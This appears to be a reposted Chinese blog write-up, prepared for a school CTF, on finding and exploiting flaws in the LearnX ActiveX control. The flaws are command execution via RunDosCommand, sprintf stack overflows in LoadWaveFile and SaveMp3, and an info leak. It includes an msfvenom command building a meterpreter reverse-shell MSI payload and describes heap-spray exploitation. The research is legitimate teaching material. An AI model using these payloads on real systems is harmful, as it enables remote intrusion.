热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

LearnX控件漏洞挖掘与利用

校赛出题需要,找了个软件分析。大学英语会用到一个首先在网上下载了一个安装程序,下载并安装到电脑上。由

前言

校赛出题需要,找了个软件分析。大学英语会用到一个 ActiveX 插件 LearnX ,最近从网上下了一个下来分析了一下,找到了一些漏洞并完成了 exploit . 虽然涉及的知识比较老旧,不过还是挺有意思的。这里分享一下整个过程。

相关文件位于

链接: https://pan.baidu.com/s/1jfDIInXD4k1nGOeCghEGDg 提取码: dmm6 
解压密码:9179ee68791ae58187eb30837370aae4

正文

分析准备

首先在网上下载了一个安装程序,下载并安装到电脑上。

https://language.jhun.edu.cn/1c/f6/c3570a72950/page.htm

由于是 ActiveX 的程序,可以下一个 COMRaider 来辅助分析并 fuzz .

https://github.com/dzzie/COMRaider

安装好插件后使用 COMRaider 来打开 .ocx 文件,查看控件暴露给浏览器的接口。

LearnX控件漏洞挖掘与利用

然后选中程序安装目录下的 .ocx 文件给 COMRaider 分析。

LearnX控件漏洞挖掘与利用

PS: 程序的默认安装目录为

C:\Program Files\Pattek\LearnX

打开后, COMRaider 就会列出控件提供的所有函数名称和参数信息。

LearnX控件漏洞挖掘与利用

接下来就是对这些接口进行分析。

漏洞分析

RunDosCommand接口命令执行漏洞

首先浏览一遍函数接口,发现一个有意思的接口

RunDosCommand

LearnX控件漏洞挖掘与利用

它的参数为字符串,根据函数名和参数类型可以猜测这应该是执行一条系统命令。于是构造一个 html 页面用 js 调用看看。

我们可以使用 COMRaiderfuzz 功能快速生成一个测试用的 html , 然后再生成的脚本上进行一些修改。

LearnX控件漏洞挖掘与利用

点击 Test Exploit in IE 后 , COMRaider 会监听在 1325 端口,然后弹出 ie 访问

http://127.0.0.1:1325/test.html

我们把源码保存下来,然后修改一下。

LearnX控件漏洞挖掘与利用

代码用 object 标签引用控件,然后使用 Vbscript 调用的控件的方法。我们把它修改成 js 的代码,同时去掉一些没用的代码。

弹个计算器看看

    

    

LearnX控件漏洞挖掘与利用

下面用 msiexec 弹一个 shell 回来。

    
    

首先用 msfvenom 生成一个 msi 格式的 payload

msfvenom -f msi -p  windows/meterpreter/reverse_tcp lhost=192.168.245.128 lport=4444  > r

然后用 python 起一个 http 服务器并设置好 msf 等待链接。

IE 加载 poc 页面即可反弹一个 shell 回来。

LearnX控件漏洞挖掘与利用

LoadWaveFile栈溢出漏洞

下面我们使用 COMRaiderfuzz 一下一些函数,这里以 LoadWaveFile 为被 fuzz 的对象,介绍下使用 COMRaider 进行 fuzz 的方式。

选择要 fuzz 的函数,右键 选择 fuzz member

LearnX控件漏洞挖掘与利用

然后会生成一堆测试样本,点击 next , 继续然后点击 Begin Fuzz 开始 测试。

LearnX控件漏洞挖掘与利用

不一会儿就会测出异常

LearnX控件漏洞挖掘与利用

然后暂停,右键出现异常的样本,选择 Test Exploit in IE

LearnX控件漏洞挖掘与利用

会发现 IE 打开网页后会报错,这样我们就拿不到奔溃的样本,这时可以用 chrome 去访问页面,拿到 html 的源码。

LearnX控件漏洞挖掘与利用

转成 js 的版本。

Test Exploit page


可以看到就是传了 1044ALoadWaveFile 这个 API 。使用 IE 加载 poc , ie 不会 crash , 这是因为 ie 内部有异常处理机制,我们可以使用调试器调试看看。

为了方便调试在触发漏洞前,加一个 alert 语句等待调试器 attach 上去。

LearnX控件漏洞挖掘与利用

在弹出框后使用 x64dbg32 版本附加到 SysFader 这个进程, 因为好像 ActiveX 控件会加载到这个进程,而不是下面那个 tab 的进程。

LearnX控件漏洞挖掘与利用

等调试器附加上去后,继续运行脚本,调试器会中断几次,一直 f9 继续运行 2 次,可以看到 eip 已经变成 0x41414141

LearnX控件漏洞挖掘与利用

下面我们分析一下漏洞的成因,把 LearnX.ocx 拖到 ida 里面分析。搜索函数字符串,然后交叉引用可以找到一个类似于函数表的区域。

LearnX控件漏洞挖掘与利用

表中的每一项代表一个函数,每一项的结构大概为

struct item{
    char* function_name; // 函数名
    char dummy[0xc]; // 未知用途
    void * function_ptr; // 函数的指针
}

图中函数名指针位于 0x02E6E520 , 函数指针位于 0x02E6E530 . 跟进去看看函数的实现。函数有两个参数

int __thiscall LoadWaveFile(char *this, char *a2)

第二个参数是我们的输入。在函数的后面会调用 strcpy 复制我们的输入到栈上,

LearnX控件漏洞挖掘与利用

此处栈的大小为 0x514 , 而我们输入的样本长度只有 1044 个字符, 应该覆盖不到返回地址。所以下面应该还有其他的溢出位置。

LearnX控件漏洞挖掘与利用

在这个函数下断点,然后不断调试发现在 0x02E37FFA 处会调用 sprintf 往栈上写数据,此时的目的缓冲区的大小为 0x114 , 参数为

sprintf(&v39, "%s%s", &String, a2)  // a2 为我们的输入。

LearnX控件漏洞挖掘与利用

所以我们的样本触发栈溢出的位置是这个地方, sprintfstrcpy 一样不会校验字符串的长度,会造成栈溢出。

漏洞利用的话,由于测试环境是 xp + ie8 没有 dep , 所以直接使用 堆喷射 + shellcode 即可。











PS: heaplib.js 是一个用于堆喷射的 js 库, 还有不能直接用 文件方式 打开,需要自己打一个 http 服务器, ie 去请求网页

其他的一些漏洞

之后随便分析了几个 .rdata 上的函数表里面的函数, 发现了一些类似的问题。这里列举一下。

CMPGetWordScore信息泄露

这个函数直接使用我们的输入作为索引去读取 this 对象里面的数据返回。

LearnX控件漏洞挖掘与利用

this 对象里面会有一些指针,会造成信息泄露。

SaveMp3栈溢出

函数开头用 sprintf 把输入字符串写入栈中, 造成栈溢出。

LearnX控件漏洞挖掘与利用

poc

Test Exploit page

参考

https://www.cnblogs.com/0xJDchen/p/5944410.html
https://evi1cg.me/archives/remote_exec.html

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 我们


推荐阅读
  • WinMain 函数详解及示例
    本文详细介绍了 WinMain 函数的参数及其用途,并提供了一个具体的示例代码来解析 WinMain 函数的实现。 ... [详细]
  • [转]doc,ppt,xls文件格式转PDF格式http:blog.csdn.netlee353086articledetails7920355确实好用。需要注意的是#import ... [详细]
  • 微软推出Windows Terminal Preview v0.10
    微软近期发布了Windows Terminal Preview v0.10,用户可以在微软商店或GitHub上获取这一更新。该版本在2月份发布的v0.9基础上,新增了鼠标输入和复制Pane等功能。 ... [详细]
  • 在Delphi7下要制作系统托盘,只能制作一个比较简单的系统托盘,因为ShellAPI文件定义的TNotifyIconData结构体是比较早的版本。定义如下:1234 ... [详细]
  • 兆芯X86 CPU架构的演进与现状(国产CPU系列)
    本文详细介绍了兆芯X86 CPU架构的发展历程,从公司成立背景到关键技术授权,再到具体芯片架构的演进,全面解析了兆芯在国产CPU领域的贡献与挑战。 ... [详细]
  • 通过将常用的外部命令集成到VSCode中,可以提高开发效率。本文介绍如何在VSCode中配置和使用自定义的外部命令,从而简化命令执行过程。 ... [详细]
  • 如果应用程序经常播放密集、急促而又短暂的音效(如游戏音效)那么使用MediaPlayer显得有些不太适合了。因为MediaPlayer存在如下缺点:1)延时时间较长,且资源占用率高 ... [详细]
  • 开机自启动的几种方式
    0x01快速自启动目录快速启动目录自启动方式源于Windows中的一个目录,这个目录一般叫启动或者Startup。位于该目录下的PE文件会在开机后进行自启动 ... [详细]
  • Android 构建基础流程详解
    Android 构建基础流程详解 ... [详细]
  • Python 伦理黑客技术:深入探讨后门攻击(第三部分)
    在《Python 伦理黑客技术:深入探讨后门攻击(第三部分)》中,作者详细分析了后门攻击中的Socket问题。由于TCP协议基于流,难以确定消息批次的结束点,这给后门攻击的实现带来了挑战。为了解决这一问题,文章提出了一系列有效的技术方案,包括使用特定的分隔符和长度前缀,以确保数据包的准确传输和解析。这些方法不仅提高了攻击的隐蔽性和可靠性,还为安全研究人员提供了宝贵的参考。 ... [详细]
  • MATLAB字典学习工具箱SPAMS:稀疏与字典学习的详细介绍、配置及应用实例
    SPAMS(Sparse Modeling Software)是一个强大的开源优化工具箱,专为解决多种稀疏估计问题而设计。该工具箱基于MATLAB,提供了丰富的算法和函数,适用于字典学习、信号处理和机器学习等领域。本文将详细介绍SPAMS的配置方法、核心功能及其在实际应用中的典型案例,帮助用户更好地理解和使用这一工具箱。 ... [详细]
  • 数字图书馆近期展出了一批精选的Linux经典著作,这些书籍虽然部分较为陈旧,但依然具有重要的参考价值。如需转载相关内容,请务必注明来源:小文论坛(http://www.xiaowenbbs.com)。 ... [详细]
  • 在开发过程中,我最初也依赖于功能全面但操作繁琐的集成开发环境(IDE),如Borland Delphi 和 Microsoft Visual Studio。然而,随着对高效开发的追求,我逐渐转向了更加轻量级和灵活的工具组合。通过 CLIfe,我构建了一个高度定制化的开发环境,不仅提高了代码编写效率,还简化了项目管理流程。这一配置结合了多种强大的命令行工具和插件,使我在日常开发中能够更加得心应手。 ... [详细]
  • CTF竞赛中文件上传技巧与安全绕过方法深入解析
    CTF竞赛中文件上传技巧与安全绕过方法深入解析 ... [详细]
  • 帝国CMS中的信息归档功能详解及其重要性
    本文详细解析了帝国CMS中的信息归档功能,并探讨了其在内容管理中的重要性。通过归档功能,用户可以有效地管理和组织大量内容,提高网站的运行效率和用户体验。此外,文章还介绍了如何利用该功能进行数据备份和恢复,确保网站数据的安全性和完整性。 ... [详细]
author-avatar
我爱你可你不懂_516
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有